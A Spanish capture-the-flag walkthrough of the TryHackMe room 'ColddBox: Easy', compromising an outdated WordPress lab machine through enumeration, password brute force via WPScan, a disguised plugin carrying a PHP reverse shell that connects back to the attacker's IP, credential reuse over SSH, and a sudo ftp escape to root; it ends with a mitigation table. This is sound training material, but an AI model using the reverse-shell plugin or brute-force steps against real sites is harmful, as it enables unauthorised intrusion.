ColddBox: Easy - TryHackMe

xhetic

xhetic

@xhetic

TryHackMeLinuxEasy
ColddBox: Easy - TryHackMe

📚 Esta publicación pertenece a la colección:

ColddBox: Easy - TryHackMe Walkthrough

Bienvenido a mi writeup de ColddBox: Easy de TryHackMe.

Una room con un WordPress antiguo donde la enumeración de directorios es la pieza clave: un mensaje oculto desvela los usuarios del sistema y abre la puerta al bruteforce. Desde ahí, un plugin PHP malicioso da acceso al servidor y sudo mal configurado completa la escalada.

Room: ColddBox: Easy
Dificultad: Easy
OS: Linux
Objetivo: Capturar las flags de usuario y root

🎯 Información del Objetivo

IP Target: 10.113.167.230

🔍 Fase 1: Reconocimiento (RECON)

Comprobación de Conectividad

Empiezo verificando que la máquina está activa:

ping -c1 10.113.167.230
  • -c1 → Envía solo 1 paquete ICMP y para
▶ output
64 bytes from 10.113.167.230: icmp_seq=1 ttl=62 time=46.1 ms

Recibo respuesta. El TTL es 62, lo que indica que posiblemente estamos ante una máquina Linux (TTL nativo 64, decrementado por los saltos de red).

💡 Referencia rápida de TTL:

  • TTL ≈ 64 → Linux/Unix
  • TTL ≈ 128 → Windows

Escaneo de Puertos

Hago un escaneo rápido para descubrir los puertos abiertos:

nmap -p- --open --min-rate 5000 -vvv -n -Pn 10.113.167.230
  • -p- → Escanea los 65535 puertos
  • --open → Muestra solo puertos abiertos
  • --min-rate 5000 → Mínimo 5000 paquetes por segundo
  • -vvv → Máxima verbosidad
  • -n → Sin resolución DNS
  • -Pn → Sin ping previo, trata el host como activo

Aparecen dos puertos: 80 y 4512. Con los puertos identificados, profundizo con un escaneo de versiones:

nmap -p80,4512 -sCV 10.113.167.230
  • -sC → Scripts NSE por defecto
  • -sV → Detección de versiones de los servicios

Los resultados más relevantes:

  • Puerto 80: Apache 2.4.18 (Ubuntu) con WordPress 4.1.31
  • Puerto 4512: OpenSSH 7.2p2 corriendo fuera del puerto estándar

Resultado detallado del escaneo nmap con versiones y servicios

El 4512 me llama la atención — no es el puerto estándar de SSH.

Una versión de WordPress muy antigua. Buena señal para mi.

📁 Fase 2: Enumeración

Análisis con WPScan

Lanzo WPScan para un primer análisis del sitio WordPress:

wpscan --url http://10.113.167.230/

Escaneo básico: versión, temas, plugins y configuración general

WPScan reporta datos relevantes:

  • XML-RPC activo — potencial vector de fuerza bruta sin límite de intentos
  • WordPress 4.1.31
  • Tema: Twenty Fifteen v4.1

Con XML-RPC habilitado, el bruteforce de credenciales no está sujeto a las mismas restricciones que el formulario de login estándar. Lo anoto de cara a más adelante.

Búsqueda de Exploits

Compruebo si hay exploits públicos para esta versión de WordPress:

searchsploit wordpress 4.1

Búsqueda en la base de datos de ExploitDB

▶ output
WordPress Core < 4.7.1 - Username Enumeration           | php/webapps/41497.php
WordPress Core < 4.7.4 - Unauthorized Password Reset    | linux/webapps/41963.txt

Hay una vulnerabilidad de enumeración de usuarios y otra de reset de contraseña sin autenticación. Tomo nota, aunque antes quiero explorar más el sitio.

Enumeración de Directorios

Lanzo dirb para buscar rutas ocultas:

dirb http://10.113.167.230/ /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

Fuzzing de directorios con wordlist mediana

Tras unos segundos aparece un directorio interesante: /hidden/

Resultado de dirb — directorio /hidden/ encontrado

Al navegar a http://10.113.167.230/hidden/ encuentro un mensaje que no debería ser público:

Página /hidden/ con el mensaje interno sobre el cambio de contraseña

C0ldd, has cambiado la contraseña de Hugo, ¿Cuándo se la podrás enviar para que pueda seguir subiendo sus articulos?. Philip

Este mensaje nos da tres usuarios potenciales: C0ldd, Hugo y Philip.

Fuerza Bruta con WPScan vía XML-RPC

Con los usuarios identificados, preparo el archivo usuarios.txt con los tres nombres y lanzo el bruteforce aprovechando que XML-RPC está activo:

wpscan --url http://10.113.167.230/ --usernames usuarios.txt --passwords /usr/share/wordlists/rockyou.txt -t 100           
  • --usernames → Archivo con los usuarios a probar
  • --passwords → Diccionario de contraseñas rockyou
  • -t 100 → 100 hilos para acelerar el proceso

En poco tiempo obtengo una credencial válida:

▶ output
[SUCCESS] - C0ldd / 9876543210

Accedo al panel de administración de WordPress en /wp-admin/ con el usuario C0ldd.

🚀 Fase 3: Explotación — Plugin PHP Malicioso

Una vez dentro como administrador, busco la forma de ejecutar código en el servidor.

Busco información en internet y veo que en versiones de WordPress anteriores a la 6.4.3, el instalador de plugins no valida el contenido del archivo subido: si tiene la cabecera correcta, WordPress lo acepta y lo ejecuta como parte de la instalación.

Esto significa que puedo crear un supuesto plugin el cual contenga código malicioso para enviarme una revshell.

Creo plugin.php con la estructura mínima de plugin y el código de reverse shell:

<?php
/**
 * Plugin Name: Reverse Shell Plugin
 * Version: 1.0
 * Author: Xhetic
 * Description: Herramienta de auditoría técnica para ejecución de comandos.
 */
 
$ip = '192.168.139.157'; // IP de la VPN
$port = 4444;
 
$sock = fsockopen($ip, $port);
$proc = proc_open('/bin/sh -i', array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>

Lo empaqueto en un .zip:

zip plugin-shell.zip plugin.php

Antes de subirlo me pongo en escucha:

nc -lvnp 4444
  • -l → Modo escucha
  • -v → Verboso
  • -n → Sin resolución DNS
  • -p 4444 → Puerto de escucha

Subo el archivo .zip desde Plugins → Add new → Upload plugin y hago clic en Activar plugin.

Instalador de plugins de WordPress con el plugin malicioso listo para activar

Al activar el plugin, el servidor ejecuta el PHP y recibo la conexión de vuelta en mi listener:

Shell reversa recibida como www-data

Estoy dentro como www-data.

Tratamiento de TTY

Estabilizo la shell para poder trabajar con comodidad:

script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm

Enumeración Post-Shell — wp-config.php

Explorando la instalación de WordPress encuentro el archivo wp-config.php. Aquí, busco las credenciales de la base de datos:

cat wp-config.php
▶ output
define('DB_NAME', 'colddbox');
define('DB_USER', 'c0ldd');
define('DB_PASSWORD', 'cybersecurity');

Me conecto para ver si hay algo de interés:

mysql -u c0ldd -pcybersecurity -h localhost colddbox

No encuentro nada de valor en la base de datos. Sin embargo, dado que tengo estas credenciales, pruebo a reutilizarlas por SSH — es una práctica muy habitual en entornos mal securizados:

ssh c0ldd@10.113.167.230 -p 4512

El SSH está en el puerto 4512, según el escaneo inicial

La contraseña cybersecurity funciona. C0ldd reutiliza credenciales.

🚩 Flag de Usuario

Nada más iniciar sesión SSH veo el archivo user.txt directamente en el directorio home:

/home/c0ldd/user.txt

🚩 Flag de usuario capturada!

⬆️ Fase 4: Escalada de Privilegios — Sudo FTP

Compruebo qué puede ejecutar el usuario c0ldd con privilegios elevados:

sudo -l
▶ output
(root) /usr/bin/vim
(root) /bin/chmod
(root) /usr/bin/ftp

Hay tres binarios ejecutables como root: vim, chmod y ftp. Cualquiera sirve para escalar privilegios.

Elijo ftp porque permite lanzar comandos del sistema desde su interfaz interactiva sin necesidad de editar archivos:

sudo /usr/bin/ftp
ftp> !/bin/bash

!/bin/bash → Ejecuta bash heredando los privilegios de root con los que
corre ftp

Obtengo una bash como root.

Flag de root en /root/root.txt

🚩 Flag de Root

La flag final está en el directorio /root/:

/root/root.txt

🚩 Flag de root capturada!

📊 Resumen

Cadena de Ataque

Nmap → WordPress 4.1.31 (80) + SSH no estándar (4512) → WPScan → XML-RPC activo → dirb → /hidden/ → usuarios C0ldd, Hugo, Philip → Bruteforce WPScan → C0ldd:9876543210 → Plugin PHP malicioso → shell www-data → wp-config.php → credenciales MySQL → SSH c0ldd reutiliza contraseña → user.txt → sudo -l → sudo ftp → !/bin/bash → root

Herramientas Utilizadas

  • nmap — Reconocimiento de puertos y servicios
  • WPScan — Enumeración y bruteforce WordPress
  • searchsploit — Búsqueda de exploits en ExploitDB
  • dirb — Fuzzing de directorios web
  • netcat — Listener para la reverse shell

🛡️ Vulnerabilidades y Mitigaciones

VulnerabilidadSeveridadMitigación
WordPress 4.1.31 desactualizadoALTAActualizar WordPress a la última versión estable
XML-RPC activo sin restriccionesALTADeshabilitar XML-RPC si no es necesario; usar plugins como Disable XML-RPC
Directorio /hidden/ con información sensibleMEDIANo exponer rutas con información interna; revisar qué directorios son accesibles públicamente
Contraseña débil del administradorALTAUsar contraseñas robustas y no predecibles
Reutilización de credenciales (MySQL → SSH)ALTAUsar contraseñas distintas para cada servicio
Binarios sudo sin restricción (vim, chmod, ftp)CRÍTICARevisar y limitar permisos sudo al mínimo necesario (principio de mínimo privilegio)

📚 Referencias


🔗 Si quieres seguir aprendiendo y mejorando tus habilidades, explora mis writeups paso a paso en Shadows y mis apuntes y guías técnicas en Shards.

Happy Hacking! 🎩🔐

Sigueme en TryHackMe :

Writeup realizado con fines educativos. Recuerda solo realizar pentesting en entornos autorizados.